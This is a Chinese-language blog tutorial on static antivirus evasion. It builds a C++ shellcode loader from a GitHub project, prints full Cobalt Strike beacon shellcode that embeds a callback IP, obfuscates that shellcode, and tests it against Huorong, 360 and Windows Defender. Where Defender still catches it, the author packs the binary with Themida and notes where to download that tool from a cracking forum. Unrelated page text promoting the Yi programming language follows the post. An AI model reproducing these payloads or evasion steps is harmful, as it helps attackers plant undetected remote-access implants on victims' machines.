c++静态免杀修正版

微信公众号:乌鸦安全

更新时间:2022.05.10
本文首发乌鸦安全知识星球,禁止非授权传播!

image.png

1. 别人的静态免杀

Github上看到一个c++的免杀,在4月6号的时候,还是bypass 很多的,但是一个月过去了,我执行之后发现了只能过火绒:
项目地址:https://github.com/G73st/BypassAV
image.png

2. 复现被人的免杀

2.1 c++部分

其实他这部分代码的逻辑就是一个利用自己的密钥进行解密,解密之后再申请内存,执行shellcode,在这里先将别人的代码下载下来,在本地跑一下:

image.png

先把项目下载,然后把shellcode loader中的BypassAV.cpp代码复制下,然后新建项目打开,因为直接打开BypassAV.sln的话,加载会出错:
image.png

新建一个项目:
image.png

在这里找到你要新建的文件夹:
image.png

在这里选择空项目,关闭安全开发生命周期检查,然后选择完成:

image.png

然后在源文件的位置->添加->新建项:

image.png

选择添加c++文件,并修改名称:

image.png

将作者的代码复制过来:

image.png

此时告一段落,现在来搞另外一个部分:混淆代码

2.2 代码混淆

在本地启动cs
image.png

本地建立监听:

image.png

此时生成后门文件:

image.png

在这里选择c格式,在这里记得选择32位的,不要选择64位的,不然程序执行无效:(因为我使用的是32位的免杀程序)
image.png

生成的shellcode如下:

/* length: 796 bytes */
unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x21\x03\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x75\x38\x4b\x64\x00\x6c\x30\x45\x1d\x60\xa2\x8a\xdc\x45\x09\x45\x30\xd9\x69\xec\x89\x91\x91\xcb\xd4\xd0\x9c\x2a\x9c\x2b\xb9\xf9\xa4\x97\x1c\x8a\x3a\x5a\xb8\x90\xfc\x18\xcc\x1f\x36\x48\xb8\x2f\x31\xda\x2b\x21\xf6\x23\xea\x5b\xcb\x04\xe0\x89\x63\x96\x99\xfb\x18\x1f\xbe\x66\x3a\xc6\xd3\xe9\x74\xe7\xa9\x3c\xbb\xa6\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x53\x4c\x43\x43\x32\x3b\x20\x2e\x4e\x45\x54\x20\x43\x4c\x52\x20\x32\x2e\x30\x2e\x35\x30\x37\x32\x37\x29\x0d\x0a\x00\x78\x98\x9c\x68\x36\x3a\xdd\x1d\x97\xb8\x34\xb0\xda\xc1\xac\xdf\xbc\x88\xfa\x09\x03\x20\xf9\x38\x9b\x35\xd3\x55\x2f\x84\x49\x9b\xc4\x71\x1a\x9e\xe8\x6a\x8c\x4d\x32\x2f\x49\x1a\x51\xa5\x58\xdb\x09\x46\x7b\x62\x78\xb1\x01\xf1\x39\x35\xd4\x2d\x4d\x81\xa9\x90\x19\x67\xee\x34\x84\xbe\x0d\x95\xf3\x0f\x4e\xee\xdd\x6a\xdd\x54\x09\x92\x00\x1f\x6f\x52\x91\xd0\x96\x3f\x86\x90\x36\x71\x09\x8b\x87\xe4\x34\xf5\x1a\xba\x44\xbb\x67\x9c\x7c\x25\x7c\x3a\x0c\xa5\x0f\x2b\x16\x7c\xad\x93\x52\x35\x9a\x5f\x4c\xaf\x11\xaf\x12\xf5\xad\xb7\x44\xbe\x4e\x42\xc6\xc8\xd6\xda\x4e\x50\xdc\xd7\x64\x78\x97\x9e\x41\x43\x9e\xe3\x32\x72\x43\xe0\x79\xcc\x0c\xe6\xc6\x2f\xb8\x69\x82\xf7\xec\x6b\x20\x1d\x3d\x69\xd5\x87\xab\x85\xd0\x1b\x42\x5a\xad\xd2\xb0\x65\x11\x5e\x70\xa9\x42\x2e\x4e\xb9\xbc\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x30\x2e\x33\x30\x2e\x33\x2e\x31\x33\x36\x00\x19\x69\xa0\x8d";

在这里拿纯净的shellcode部分:

\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x21\x03\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x75\x38\x4b\x64\x00\x6c\x30\x45\x1d\x60\xa2\x8a\xdc\x45\x09\x45\x30\xd9\x69\xec\x89\x91\x91\xcb\xd4\xd0\x9c\x2a\x9c\x2b\xb9\xf9\xa4\x97\x1c\x8a\x3a\x5a\xb8\x90\xfc\x18\xcc\x1f\x36\x48\xb8\x2f\x31\xda\x2b\x21\xf6\x23\xea\x5b\xcb\x04\xe0\x89\x63\x96\x99\xfb\x18\x1f\xbe\x66\x3a\xc6\xd3\xe9\x74\xe7\xa9\x3c\xbb\xa6\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x53\x4c\x43\x43\x32\x3b\x20\x2e\x4e\x45\x54\x20\x43\x4c\x52\x20\x32\x2e\x30\x2e\x35\x30\x37\x32\x37\x29\x0d\x0a\x00\x78\x98\x9c\x68\x36\x3a\xdd\x1d\x97\xb8\x34\xb0\xda\xc1\xac\xdf\xbc\x88\xfa\x09\x03\x20\xf9\x38\x9b\x35\xd3\x55\x2f\x84\x49\x9b\xc4\x71\x1a\x9e\xe8\x6a\x8c\x4d\x32\x2f\x49\x1a\x51\xa5\x58\xdb\x09\x46\x7b\x62\x78\xb1\x01\xf1\x39\x35\xd4\x2d\x4d\x81\xa9\x90\x19\x67\xee\x34\x84\xbe\x0d\x95\xf3\x0f\x4e\xee\xdd\x6a\xdd\x54\x09\x92\x00\x1f\x6f\x52\x91\xd0\x96\x3f\x86\x90\x36\x71\x09\x8b\x87\xe4\x34\xf5\x1a\xba\x44\xbb\x67\x9c\x7c\x25\x7c\x3a\x0c\xa5\x0f\x2b\x16\x7c\xad\x93\x52\x35\x9a\x5f\x4c\xaf\x11\xaf\x12\xf5\xad\xb7\x44\xbe\x4e\x42\xc6\xc8\xd6\xda\x4e\x50\xdc\xd7\x64\x78\x97\x9e\x41\x43\x9e\xe3\x32\x72\x43\xe0\x79\xcc\x0c\xe6\xc6\x2f\xb8\x69\x82\xf7\xec\x6b\x20\x1d\x3d\x69\xd5\x87\xab\x85\xd0\x1b\x42\x5a\xad\xd2\xb0\x65\x11\x5e\x70\xa9\x42\x2e\x4e\xb9\xbc\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x30\x2e\x33\x30\x2e\x33\x2e\x31\x33\x36\x00\x19\x69\xa0\x8d

直接执行python3 BypassAV.py之后,会出现卡死的问题,所以这里进行了一个小小的改动:
我直接把input屏蔽掉了,然后直接输出。

image.png
然后等待加密完成:
image.png

生成混淆之后的shellcode

527019643837973707320415151528632043778218372532553208237213320823722732082372753208322121522932302412032183799218328732472652843271172112073280375422012328837763715237234320823722632082662651237533208261327532003287322624112375323532082472713208233207123722377426524032082973208123721218379921832873247328037542201232882963771322437111032793713298327920632243776233320823320612372232573208227249320823327312372232081132081237533204263206206282282284238285232379937712332892853208223370932012803251322532523226153251322832593225325923132512463228203143799372021837992342342342342343251293236327232643799372037003207151515282218375223223232561023223232512001015152302353251234320432983283379937203709322728221837252373251151726132072372372372302372353251370923921629837993720320432833202328923521837992342343256379923023632512191627132703799372032003287229320732891215152183799320037163226113204371837091832513245328437762803799372032043280325126820028121837993720218379923432561423223623532513230234377122237993720328215214151529432883226323021837993700321912151537003752121515370732083799379937992143224296249325515325321326827828632673203377526818268213372432593706320432193219375037273753329621732962103239371832613292273320329328532313211379727137512022912473231214218372321020037162093701282375011377132042883295329037922712023285325729332833722370032263702326826532343266152393229325232212192693250325232253226293207244322232773259325332532842142972162132072152883222325832272843226325928332533252298207244230240268207296216213298207234325932253255322232283229207243231207291216218298207234248234291297298207231322132593255325232253226214297216213298207230246264264295298207216243268231207264246237207295216213216290213299295299212220225153275329732963251291293377227832923231297324637233280324737703233320637951810207371829632992903722239214320724032993286322027632933707325632152442952142402762323269233372818245327028332753244123712294290372721924432783268321127932503703297320732852203218371022924337033772325637722311832161520232222373219375332952603201321129132201832083209377329737192763236263323432503296327120432712932273269229210277327132403214237290329128924632492243249223371932403230263328524326632833755372137232432353775372932553275329232932692643293377429532212643771327237512273705328321432313259320537143706325420727826232593720320932423200375327426628532403725324632522242813227326826621624332393233153251371532323267236379937203256261325115226151532511515261152343251233326123037783799372032143239151515151237242322303204370223432511520715152302363251223329532043776379937203200328732263283320814123289320032873224377823332893707326837903799379921821321629221321629221621829229115279325932653212

放到原代码中:
image.png

选择Release
image.png

选择生成解决方案:

image.png

此时生成成功:

image.png

image.png

2.3 上线测试

2.3.1 无杀软的情况_Windows10

双击之后即可上线:

image.png

2.3.2 火绒_Windows7

image.png
image.png

2.3.3 360_Windows_失败

关闭360的自动提交样本:
image.png

按位置扫描:
image.png

经过过次操作发现,当把shellcode剔除之后再打包,依旧被杀,360应该是对其中的某些关键字或操作进行了查杀,这属于流氓查杀,简称:乱杀!

2.3.4 Windows Defender最新版

image.png

直接上去就没了,但是windows Defender的优点就在于当你不加载shellcode的时候,是不会静态查杀的!

3. 免杀Windows Defender

在这里其实当大部分免杀,而Windows Defender无法免杀的时候,可以使用一种相对来说比较万能的方法:加壳!
在这里使用的是Themida,当然因为shellcode32位的,所以这里也选择的是32位的。
关于Themida下载,可以直接去吾爱破解下载,这东西我就不再提供了。

image.png

此时再进行测试:
image.png

加壳之后的软件:
image.png

上线成功:

image.png

但是!!!
这里依旧无法过360

4. 总结

在这个项目中,有一些坑:

  • 程序必须自己建一个工程,导入c++代码
  • shellcode确定自己的位数(32位的程序就是32位的shellcode
  • 代码混淆部分,我也是建议各位将shellcode复制进去,直接出结果!(可能只有我受影响)
  • 生成的程序在某些windows10windows7上无法有效运行!!!

当然,在这个免杀中,均属于静态免杀,我个人理解360并不是因为很强,而是属于乱杀,就像碰到易语言一样,大家都杀!
在这里看到作者对于shellcode进行了混淆,主要是CSshellcode现在烂大街了,谁家AV没法查杀的话,就太丢面了,其实也可以使用msf来混淆shellcode,但是感觉作者这个思路蛮好的,作者在项目中说当时将shellcode从本地加载改到了内部加载,其实我更倾向于分离免杀,甚至远程加载!
其实这些免杀都是静态的,真正过动态的能力还有很大距离,以上内容仅供参考,后续我再更新其他的吧!

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
易语言是一个自主开发,适合国情,不同层次不同专业的人员易学易用的汉语编程语言。易语言降低了广大电脑用户编程的门槛,尤其是根本不懂英文或者英文了解很少的用户,可以通过使用本语言极其快速地进入Windows程序编写的大门。易语言汉语编程环境是一个支持基于汉语字、词编程的、全可视化的、跨主流操作系统平台的编程工具环境;拥有简、繁汉语以及英语、日语等多语种版本;能与常用的编程语言互相调用;具有充分利用API,COM、DLL、OCX组件,各种主流数据库,各种实用程序等多种资源的接口和支撑工具。易语言有自主开发的高质量编译器,中文源代码被直接编译为CPU指令,运行效率高,安全可信性高;拥有自己的数据库系统,且支持访问现有所有数据库;内置专用输入法,支持中文语句快速录入,完全解决了中文输入慢的问题;易语言除了支持界面设计的可视化,还支持程序流程的即时可视化;除了语句的中文化之外,易语言中还专门提供了适合中国国情的命令,如中文格式日期和时间处理、汉字发音处理、全半角字符处理、人民币金额的处理等;易语言综合采用了结构化、面向对象、组件、构架、集成化等多种先进技术,并在运行效率、性能价格比、全可视化支持、适应本地化需要、面向对象以及提供Windows,Linux上的运行平台等具有特色;现有各种支持库多达40多个,用户可以使用她来满足几乎所有的Windows编程需求,多媒体功能支持强大,完善的网络、端口通讯和互联网功能支持,网上与论坛上的学习资源众多。在易语言及其编译器的设计与实现、可视化汉语编程的构建、提供多种语言版本等方面具有创新。目前易语言已取得国家级鉴定,鉴定会专家一致认为:易语言在技术上居于国内领先地位,达到了当前同类产品的国际先进水平。友情提示:无需使用破解补丁,安装完成后即是企业版注册授权;本版不包括知识库和多媒体教程。修正静态编译问题。 易语言5.1 相对于易语言5.0更新说明:   支持静态链接其它编程语言(如C/C++、汇编等)编译生成的静态库(.LIB或.OBJ),但仅限于COFF格式,支持cdecl和stdcall两种函数调用约定。   使用说明如下:函数声明和调用方法与DLL命令一致;“库文件名”以.lib或.obj为后缀的将被视为静态库,可使用绝对路径或相对路径(相对当前源代码所在目录),如依赖多个静态库请分别列出并以逗号分隔;“在库中的对应命令名”请务必准确填写静态库中公开导出的符号名称(C函数(cdecl)编译后,符号名称通常是在函数名称前加下划线(_));“在库中的对应命令名”以@开头表示以cdecl方式调用,否则表示以默认的stdcall方式调用;各参数声明要与其定义一致。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值